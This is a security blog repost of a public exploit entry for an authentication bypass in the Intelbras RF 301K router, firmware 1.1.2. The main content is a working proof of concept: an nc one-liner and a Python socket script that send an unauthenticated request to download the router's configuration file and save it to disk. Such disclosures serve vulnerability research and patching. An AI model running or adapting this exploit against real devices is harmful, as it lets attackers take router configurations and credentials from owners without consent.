Thursday, December 26, 2024

Intelbras Router RF 301K 1.1.2 – Authentication Bypass

Date: 2020-11-30

CVE: N/A

Platform: HARDWARE

# Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass

# Exploit Author: Kaio Amaral
# Vendor Homepage: https://www.intelbras.com/pt-br/
# Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip
# Version: firmware version 1.1.2
# Tested on: kali, android

# POC

# 1. nc host port, ex: nc 10.0.0.1 80
# 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0

# Python3

import socket
from time import sleep

def exploit(host, port=80):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()
    s.connect((host, port))
    s.send(pay)
    sleep(0.2)
    data = s.recv(17576)
    if len(data) > 1000:
        print("[+] Success.")
        return data.decode()
    print("[-] Failed. ")
    exit()

def file(data):
    with open("router.cfg", "w") as file:
        file.write(data[233:])
    print("[+] File Successfully Written.")

file(exploit("10.0.0.1"))
            
Bookmark
Please login to bookmarkClose
Share the word, let's increase Cybersecurity Awareness as we know it
Recommended:  2-Factor Authentication Bypass Flaw Reported in cPanel and WHM Software
- Sponsored -

Sponsored Offer

Unleash the Power of the Cloud: Grab $200 Credit for 60 Days on DigitalOcean!

Digital ocean free 200

Discover more infosec

Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

more infosec reads

Subscribe for weekly updates

explore

more

security